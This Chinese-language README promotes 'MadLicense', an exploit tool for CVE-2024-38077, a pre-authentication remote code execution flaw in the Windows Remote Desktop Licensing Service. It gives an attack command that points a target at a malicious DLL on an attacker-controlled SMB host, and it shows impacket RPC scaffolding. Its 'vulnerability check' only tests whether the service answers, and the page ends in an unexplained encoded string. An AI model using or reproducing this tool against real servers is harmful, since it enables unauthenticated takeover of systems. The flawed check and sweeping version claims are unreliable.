MadLicense:Windows Remote Desktop Licensing Service Preauth RCE
MadLicense是一个针对Windows远程桌面授权服务(Remote Desktop Licensing Service)预认证远程代码执行漏洞的利用工具。该工具利用CVE-2024-38077漏洞,实现了从Windows Server 2000到Windows Server 2025全系列版本的未认证、0-click远程代码执行。
功能特性
- 全版本覆盖:支持Windows Server 2000至2025所有版本(含Windows Server 2025下一代安全增强版本)
- 预认证RCE:无需任何认证即可实现远程代码执行
- 0-click利用:无需用户交互,服务端自动触发
- 漏洞检测:支持漏洞存在性检测功能
- 非沙箱环境:突破沙箱限制,获得完整系统权限
- DCERPC通信:基于impacket库实现MS-RPC协议交互
- 加密算法支持:集成Windows加密API用于证书处理
安装指南
系统要求
- Python 3.7+
- 支持Windows Server目标系统(2000-2025)
- 攻击机需能够访问目标服务器的RPC端口
依赖安装
pip install impacket
pip install pycryptodome
pip install wincrypto
依赖说明
| 依赖包 | 用途 |
|---|---|
| impacket | DCERPC协议通信,NDR结构定义 |
| pycryptodome | 加密算法支持,数据处理 |
| wincrypto | Windows加密API接口 |
使用说明
基础用法
python CVE-2024-38077-EXP.py --target_ip 192.168.120.1 --evil_ip 192.168.120.2 --evil_dll_path \\smb\\evil_dll.dll
命令行参数
| 参数 | 说明 | 示例 |
|---|---|---|
--target_ip | 目标服务器IP地址 | 192.168.120.1 |
--evil_ip | 攻击机IP地址(存放恶意DLL) | 192.168.120.2 |
--evil_dll_path | 恶意DLL文件路径(SMB共享路径) | \smb\evil_dll.dll |
--check_vuln_exist | 利用前检测漏洞是否存在 | True |
使用场景
- 漏洞验证:检测目标Windows Server是否存在CVE-2024-38077漏洞
- 渗透测试:在授权测试中验证远程桌面授权服务的安全性
- 安全评估:评估Windows Server全系列版本的漏洞影响范围
API说明(NDR结构)
工具定义了以下核心NDR结构用于RPC通信:
| 结构名称 | 用途 |
|---|---|
TLSRpcConnect | 建立RPC连接,获取上下文句柄 |
TLSRpcGetVersion | 获取远程桌面授权服务版本 |
TLSBLOB | 二进制大对象数据封装 |
TLSCRYPT_ALGORITHM_IDENTIFIER | 加密算法标识符 |
CONTEXT_HANDLE | RPC上下文句柄管理 |
核心代码
RPC连接建立
# 建立 DCERPC 传输连接
def establish_rpc_connection(target_ip):
string_binding = r'ncacn_ip_tcp:%s[135]' % target_ip
rpctransport = transport.DCERPCTransportFactory(string_binding)
rpctransport.set_connect_timeout(10)
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(UUID)
return dce, rpctransport
RPC调用封装
class TLSRpcConnect(NDRCALL):
opnum = 1
class TLSRpcConnectResponse(NDRCALL):
structure = (
("ctx_handle", CONTEXT_HANDLE),
)
class TLSRpcGetVersion(NDRCALL):
opnum = 0
structure = (
("ctx_handle", CONTEXT_HANDLE),
("version", PULONG),
)
class TLSRpcGetVersionResponse(NDRCALL):
structure = (
("version", ULONG),
)
加密数据结构
class TLSBLOB(NDRSTRUCT):
structure = (
("cbData", ULONG),
("pbData", PBYTE),
)
class TLSCRYPT_ALGORITHM_IDENTIFIER(NDRSTRUCT):
structure = (
("pszObjId", LPSTR),
("Parameters", TLSBLOB),
)
class TLSCRYPT_BIT_BLOB(NDRSTRUCT):
structure = (
("cbData", DWORD),
("pbData", PBYTE),
("cUnusedBits", DWORD),
)
上下文句柄管理
class CONTEXT_HANDLE(NDRSTRUCT):
structure = (
("Data", "20s=b"),
)
def getAlignment(self):
return 4
# 句柄列表维护
handle_lists = []
ctx_handle = None
def manage_context_handle(handle):
handle_lists.append(handle)
return len(handle_lists) - 1
漏洞检测逻辑
def check_vulnerability(target_ip):
try:
dce, _ = establish_rpc_connection(target_ip)
# 尝试连接获取句柄
request = TLSRpcConnect()
response = dce.request(request)
if response and response['ctx_handle']:
return True
except DCERPCException as e:
return False
return False
6HFtX5dABrKlqXeO5PUv/wrKUo6huwSX/DF9Xns0hx0W7n/sXtH3DyPrqdLpsiDU